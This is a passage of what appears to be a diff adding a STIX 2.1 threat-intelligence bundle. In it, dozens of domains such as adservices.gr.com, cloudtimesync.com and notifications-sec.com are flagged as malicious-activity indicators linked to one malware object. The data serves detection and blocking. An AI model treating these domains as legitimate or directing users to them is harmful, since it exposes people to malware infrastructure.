"malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a37bdf5-c103-4800-ae0d-3563414ba3b8", + "created": "2026-02-17T19:39:51.942422Z", + "modified": "2026-02-17T19:39:51.942422Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adservices.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.942422Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8667535b-f925-44df-90fc-372c7e7aed53", + "created": "2026-02-17T19:39:51.942715Z", + "modified": "2026-02-17T19:39:51.942715Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a37bdf5-c103-4800-ae0d-3563414ba3b8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87d458a1-8975-4c63-96cd-ee23a1ad3ec8", + "created": "2026-02-17T19:39:51.942788Z", + "modified": "2026-02-17T19:39:51.942788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eventnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.942788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b2dbea6-97e4-4abd-87b4-5e0fcc968a6f", + "created": "2026-02-17T19:39:51.943078Z", + "modified": "2026-02-17T19:39:51.943078Z", + "relationship_type": "indicates", + "source_ref": "indicator--87d458a1-8975-4c63-96cd-ee23a1ad3ec8", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c7f84b8-34eb-41dc-8507-40df015f69ae", + "created": "2026-02-17T19:39:51.943151Z", + "modified": "2026-02-17T19:39:51.943151Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viva.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.943151Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ef0b7f7-68fd-4d3e-bf89-300c5a3260c7", + "created": "2026-02-17T19:39:51.943505Z", + "modified": "2026-02-17T19:39:51.943505Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c7f84b8-34eb-41dc-8507-40df015f69ae", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4f83046-2909-4b6b-889c-6ddb4aaf3a55", + "created": "2026-02-17T19:39:51.94358Z", + "modified": "2026-02-17T19:39:51.94358Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kapital-news.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.94358Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49f46723-a0cb-437e-b9ea-0114e74dc65a", + "created": "2026-02-17T19:39:51.943877Z", + "modified": "2026-02-17T19:39:51.943877Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4f83046-2909-4b6b-889c-6ddb4aaf3a55", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5e6a324d-ef57-41fb-a8ef-082a39950b9a", + "created": "2026-02-17T19:39:51.94395Z", + "modified": "2026-02-17T19:39:51.94395Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='escortbabesluxo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.94395Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05614c9e-530a-40c8-b62d-dc13f8312a4e", + "created": "2026-02-17T19:39:51.944244Z", + "modified": "2026-02-17T19:39:51.944244Z", + "relationship_type": "indicates", + "source_ref": "indicator--5e6a324d-ef57-41fb-a8ef-082a39950b9a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--60950a8f-cc95-45c5-9509-c089b18b98f6", + "created": "2026-02-17T19:39:51.944318Z", + "modified": "2026-02-17T19:39:51.944318Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='myutbe.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.944318Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--561e7866-b06f-434a-8a39-7786a59ba9fb", + "created": "2026-02-17T19:39:51.944604Z", + "modified": "2026-02-17T19:39:51.944604Z", + "relationship_type": "indicates", + "source_ref": "indicator--60950a8f-cc95-45c5-9509-c089b18b98f6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fe93380-718b-4b4c-9f1a-f2c6393f765c", + "created": "2026-02-17T19:39:51.944676Z", + "modified": "2026-02-17T19:39:51.944676Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='audit-pvv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.944676Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16be70f7-b096-464f-970e-960ca10a7db8", + "created": "2026-02-17T19:39:51.944966Z", + "modified": "2026-02-17T19:39:51.944966Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fe93380-718b-4b4c-9f1a-f2c6393f765c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--902b3489-a3d6-428d-b27e-89e8e1439ccb", + "created": "2026-02-17T19:39:51.94504Z", + "modified": "2026-02-17T19:39:51.94504Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adenuncia.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.94504Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38f18224-5b40-4f0c-a965-b7695b0d391d", + "created": "2026-02-17T19:39:51.945333Z", + "modified": "2026-02-17T19:39:51.945333Z", + "relationship_type": "indicates", + "source_ref": "indicator--902b3489-a3d6-428d-b27e-89e8e1439ccb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dde1852-362f-4dc1-98de-acc7e86f2e86", + "created": "2026-02-17T19:39:51.945409Z", + "modified": "2026-02-17T19:39:51.945409Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='post-notify.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.945409Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf536717-a643-4837-b8c4-11bbc58c99f8", + "created": "2026-02-17T19:39:51.945705Z", + "modified": "2026-02-17T19:39:51.945705Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dde1852-362f-4dc1-98de-acc7e86f2e86", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49f121ba-3142-45b1-aa81-9f001144fc03", + "created": "2026-02-17T19:39:51.945777Z", + "modified": "2026-02-17T19:39:51.945777Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='factosdiarios.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.945777Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1371683-b860-4370-a284-61a8042aa62d", + "created": "2026-02-17T19:39:51.946071Z", + "modified": "2026-02-17T19:39:51.946071Z", + "relationship_type": "indicates", + "source_ref": "indicator--49f121ba-3142-45b1-aa81-9f001144fc03", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc5d794b-37e2-450b-a1d3-4774858b288e", + "created": "2026-02-17T19:39:51.946144Z", + "modified": "2026-02-17T19:39:51.946144Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uservicesforyou.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.946144Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4497828d-4028-426e-b403-19041609f41a", + "created": "2026-02-17T19:39:51.946439Z", + "modified": "2026-02-17T19:39:51.946439Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc5d794b-37e2-450b-a1d3-4774858b288e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0e126ba5-ea3d-4d1d-bb6c-5715272bcfcf", + "created": "2026-02-17T19:39:51.946512Z", + "modified": "2026-02-17T19:39:51.946512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='africa-confidentiel.fr']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.946512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--44700e1a-16ef-4289-aead-f7cce20bd773", + "created": "2026-02-17T19:39:51.946873Z", + "modified": "2026-02-17T19:39:51.946873Z", + "relationship_type": "indicates", + "source_ref": "indicator--0e126ba5-ea3d-4d1d-bb6c-5715272bcfcf", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5f8a7823-1244-4823-8ba9-faeca9cf1922", + "created": "2026-02-17T19:39:51.946949Z", + "modified": "2026-02-17T19:39:51.946949Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='inews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.946949Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--22974dbd-d4cf-4feb-8bb7-82950d8c1325", + "created": "2026-02-17T19:39:51.947244Z", + "modified": "2026-02-17T19:39:51.947244Z", + "relationship_type": "indicates", + "source_ref": "indicator--5f8a7823-1244-4823-8ba9-faeca9cf1922", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57585012-5b15-48fd-b33b-f0e13b3ca5db", + "created": "2026-02-17T19:39:51.94732Z", + "modified": "2026-02-17T19:39:51.94732Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bumabara.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.94732Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--38414e15-e50f-4a52-815d-8ce6ab88b77f", + "created": "2026-02-17T19:39:51.947637Z", + "modified": "2026-02-17T19:39:51.947637Z", + "relationship_type": "indicates", + "source_ref": "indicator--57585012-5b15-48fd-b33b-f0e13b3ca5db", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b7f8fa8-461e-4835-b910-d4f74328df83", + "created": "2026-02-17T19:39:51.947711Z", + "modified": "2026-02-17T19:39:51.947711Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kz-news.cc']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.947711Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--71237f06-b8a4-4118-b126-6a086ec77489", + "created": "2026-02-17T19:39:51.947999Z", + "modified": "2026-02-17T19:39:51.947999Z", + "relationship_type": "indicates", + "source_ref": "indicator--0b7f8fa8-461e-4835-b910-d4f74328df83", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--994e015e-d0dd-41ba-8831-294da1ed73be", + "created": "2026-02-17T19:39:51.948071Z", + "modified": "2026-02-17T19:39:51.948071Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='notifications-sec.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.948071Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1f814c2-5720-4d80-855e-b43a7f71bad5", + "created": "2026-02-17T19:39:51.948368Z", + "modified": "2026-02-17T19:39:51.948368Z", + "relationship_type": "indicates", + "source_ref": "indicator--994e015e-d0dd-41ba-8831-294da1ed73be", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--09aee654-93d6-430f-b9e5-761e661dbd0b", + "created": "2026-02-17T19:39:51.948441Z", + "modified": "2026-02-17T19:39:51.948441Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='universedades.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.948441Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a3bd4d0-d10c-42c3-b319-4e97a7aa78b2", + "created": "2026-02-17T19:39:51.948735Z", + "modified": "2026-02-17T19:39:51.948735Z", + "relationship_type": "indicates", + "source_ref": "indicator--09aee654-93d6-430f-b9e5-761e661dbd0b", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e48dff32-7bfc-4235-bb05-4f118b1daf3f", + "created": "2026-02-17T19:39:51.948808Z", + "modified": "2026-02-17T19:39:51.948808Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gulfweather.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.948808Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e55f255a-8302-4cf3-9572-fe0977204b78", + "created": "2026-02-17T19:39:51.949101Z", + "modified": "2026-02-17T19:39:51.949101Z", + "relationship_type": "indicates", + "source_ref": "indicator--e48dff32-7bfc-4235-bb05-4f118b1daf3f", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7d5e586a-264e-4c0b-ab3d-bf5edf6bbe64", + "created": "2026-02-17T19:39:51.949174Z", + "modified": "2026-02-17T19:39:51.949174Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lexpressmg.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.949174Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65e73151-701f-4c67-9b98-c1669338a2a9", + "created": "2026-02-17T19:39:51.949465Z", + "modified": "2026-02-17T19:39:51.949465Z", + "relationship_type": "indicates", + "source_ref": "indicator--7d5e586a-264e-4c0b-ab3d-bf5edf6bbe64", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c456faa6-0f3f-4ea9-88e2-afc3da8a2b42", + "created": "2026-02-17T19:39:51.949539Z", + "modified": "2026-02-17T19:39:51.949539Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='air-shopping.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.949539Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea2564d3-22a9-4394-b625-b18282f91d5c", + "created": "2026-02-17T19:39:51.949833Z", + "modified": "2026-02-17T19:39:51.949833Z", + "relationship_type": "indicates", + "source_ref": "indicator--c456faa6-0f3f-4ea9-88e2-afc3da8a2b42", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3853bfb0-e429-4fa8-92cc-3b2c44d1f4b4", + "created": "2026-02-17T19:39:51.949907Z", + "modified": "2026-02-17T19:39:51.949907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='svetovid.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.949907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0c48c2d5-8d7c-497c-a5c8-cf8cf5eed32d", + "created": "2026-02-17T19:39:51.95026Z", + "modified": "2026-02-17T19:39:51.95026Z", + "relationship_type": "indicates", + "source_ref": "indicator--3853bfb0-e429-4fa8-92cc-3b2c44d1f4b4", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efd02fd2-c8fa-4f63-a2d3-2f54c0cb082e", + "created": "2026-02-17T19:39:51.950334Z", + "modified": "2026-02-17T19:39:51.950334Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taagangola.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.950334Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--512a16bb-17a0-44f9-bce3-457205ac7534", + "created": "2026-02-17T19:39:51.950625Z", + "modified": "2026-02-17T19:39:51.950625Z", + "relationship_type": "indicates", + "source_ref": "indicator--efd02fd2-c8fa-4f63-a2d3-2f54c0cb082e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cee4aa88-4a2d-4b0b-9622-a53e2b8795d2", + "created": "2026-02-17T19:39:51.950699Z", + "modified": "2026-02-17T19:39:51.950699Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortmee.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.950699Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ba088ff-9f59-479b-b3a4-bd7bf31e3c0d", + "created": "2026-02-17T19:39:51.950988Z", + "modified": "2026-02-17T19:39:51.950988Z", + "relationship_type": "indicates", + "source_ref": "indicator--cee4aa88-4a2d-4b0b-9622-a53e2b8795d2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a4275f0-3270-467c-a438-08bd11e46a79", + "created": "2026-02-17T19:39:51.951062Z", + "modified": "2026-02-17T19:39:51.951062Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alpineai.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.951062Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a827b469-85c7-4444-8cc5-8fe339636c49", + "created": "2026-02-17T19:39:51.95135Z", + "modified": "2026-02-17T19:39:51.95135Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a4275f0-3270-467c-a438-08bd11e46a79", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--708e6ce4-e015-4c95-88bf-be910ba0cbac", + "created": "2026-02-17T19:39:51.951425Z", + "modified": "2026-02-17T19:39:51.951425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='celebrnewz.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.951425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1aae65bf-92b7-4309-9a4f-0181d588d5b6", + "created": "2026-02-17T19:39:51.951718Z", + "modified": "2026-02-17T19:39:51.951718Z", + "relationship_type": "indicates", + "source_ref": "indicator--708e6ce4-e015-4c95-88bf-be910ba0cbac", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42dd3f61-67f5-4cc0-8393-6f1c972f7c9e", + "created": "2026-02-17T19:39:51.951792Z", + "modified": "2026-02-17T19:39:51.951792Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glbnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.951792Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33e86877-1374-489f-b847-59b8c3018b62", + "created": "2026-02-17T19:39:51.952084Z", + "modified": "2026-02-17T19:39:51.952084Z", + "relationship_type": "indicates", + "source_ref": "indicator--42dd3f61-67f5-4cc0-8393-6f1c972f7c9e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--835d70bb-3ba1-423b-ab8e-41566fba3891", + "created": "2026-02-17T19:39:51.952157Z", + "modified": "2026-02-17T19:39:51.952157Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cloudtimesync.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.952157Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5436f9cb-7719-4aae-9ecc-c1859dd4909e", + "created": "2026-02-17T19:39:51.952451Z", + "modified": "2026-02-17T19:39:51.952451Z", + "relationship_type": "indicates", + "source_ref": "indicator--835d70bb-3ba1-423b-ab8e-41566fba3891", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcdf3915-3c87-4fa8-bb9d-d089ec743d31", + "created": "2026-02-17T19:39:51.952525Z", + "modified": "2026-02-17T19:39:51.952525Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xnxx-hub.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.952525Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3adce7f4-232e-4211-bc9b-c346d34d34f0", + "created": "2026-02-17T19:39:51.952814Z", + "modified": "2026-02-17T19:39:51.952814Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcdf3915-3c87-4fa8-bb9d-d089ec743d31", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--702994ff-150f-4f69-ae49-65791e98684a", + "created": "2026-02-17T19:39:51.952886Z", + "modified": "2026-02-17T19:39:51.952886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellasjournal.website']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.952886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d2b1634-4d5e-4cd8-a158-ffcc58521007", + "created": "2026-02-17T19:39:51.953185Z", + "modified": "2026-02-17T19:39:51.953185Z", + "relationship_type": "indicates", + "source_ref": "indicator--702994ff-150f-4f69-ae49-65791e98684a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b36b19f-0958-4dd1-91a3-60a1c6c82631", + "created": "2026-02-17T19:39:51.953259Z", + "modified": "2026-02-17T19:39:51.953259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='schedulefestival.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.953259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d87daaf-3919-4014-83a4-fe4fa076fa86", + "created": "2026-02-17T19:39:51.953618Z", + "modified": "2026-02-17T19:39:51.953618Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b36b19f-0958-4dd1-91a3-60a1c6c82631", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff78cfb1-e40c-455f-9c36-e035817a14f9", + "created": "2026-02-17T19:39:51.953695Z", + "modified": "2026-02-17T19:39:51.953695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thintank.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.953695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6bab3866-3903-41e0-bc2e-8be366674753", + "created": "2026-02-17T19:39:51.953991Z", + "modified": "2026-02-17T19:39:51.953991Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff78cfb1-e40c-455f-9c36-e035817a14f9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8a362c5-8ef5-41bf-92c1-e7d62b777a6c", + "created": "2026-02-17T19:39:51.954066Z", + "modified": "2026-02-17T19:39:51.954066Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc2222.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.954066Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--184c4001-3096-4959-a478-5fabed2024af", + "created": "2026-02-17T19:39:51.954354Z", + "modified": "2026-02-17T19:39:51.954354Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8a362c5-8ef5-41bf-92c1-e7d62b777a6c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7f9dc514-dd16-4adb-b66e-f00df989f404", + "created": "2026-02-17T19:39:51.954428Z", + "modified": "2026-02-17T19:39:51.954428Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='networkenterprise.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.954428Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d76de3f-8dd5-460b-8a35-bc1aff3826dd", + "created": "2026-02-17T19:39:51.954725Z", + "modified": "2026-02-17T19:39:51.954725Z", + "relationship_type": "indicates", + "source_ref": "indicator--7f9dc514-dd16-4adb-b66e-f00df989f404", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2223d7aa-b44b-4e0d-8a95-65802aa49fe0", + "created": "2026-02-17T19:39:51.954801Z", + "modified": "2026-02-17T19:39:51.954801Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youarefired.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.954801Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5cd0329d-1337-48ce-90a1-07986b0317b7", + "created": "2026-02-17T19:39:51.95509Z", + "modified": "2026-02-17T19:39:51.95509Z", + "relationship_type": "indicates", + "source_ref": "indicator--2223d7aa-b44b-4e0d-8a95-65802aa49fe0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--217ef8f1-cb6a-4f34-abdb-f947e2da0213", + "created": "2026-02-17T19:39:51.955165Z", + "modified": "2026-02-17T19:39:51.955165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='geloraku.id']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.955165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4fb9bd7a-ce96-4137-a4ae-81715414c845", + "created": "2026-02-17T19:39:51.955451Z", + "modified": "2026-02-17T19:39:51.955451Z", + "relationship_type": "indicates", + "source_ref": "indicator--217ef8f1-cb6a-4f34-abdb-f947e2da0213", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1664db91-8d52-4ab0-a2fb-3ebb800f4cfc", + "created": "2026-02-17T19:39:51.955523Z", + "modified": "2026-02-17T19:39:51.955523Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lylink.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.955523Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f29b4c00-9608-4b7e-9de2-5896570d5db5", + "created": "2026-02-17T19:39:51.955844Z", + "modified": "2026-02-17T19:39:51.955844Z", + "relationship_type": "indicates", + "source_ref": "indicator--1664db91-8d52-4ab0-a2fb-3ebb800f4cfc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f32e5fa2-af1a-48e1-b162-e6caf8c0609d", + "created": "2026-02-17T19:39:51.955917Z", + "modified": "2026-02-17T19:39:51.955917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='liponals.store']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.955917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--834dc5d0-fe8e-487a-a246-14600e6ee128", + "created": "2026-02-17T19:39:51.956209Z", + "modified": "2026-02-17T19:39:51.956209Z", + "relationship_type": "indicates", + "source_ref": "indicator--f32e5fa2-af1a-48e1-b162-e6caf8c0609d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8f40796-3a30-434b-9448-2a29d94cccf4", + "created": 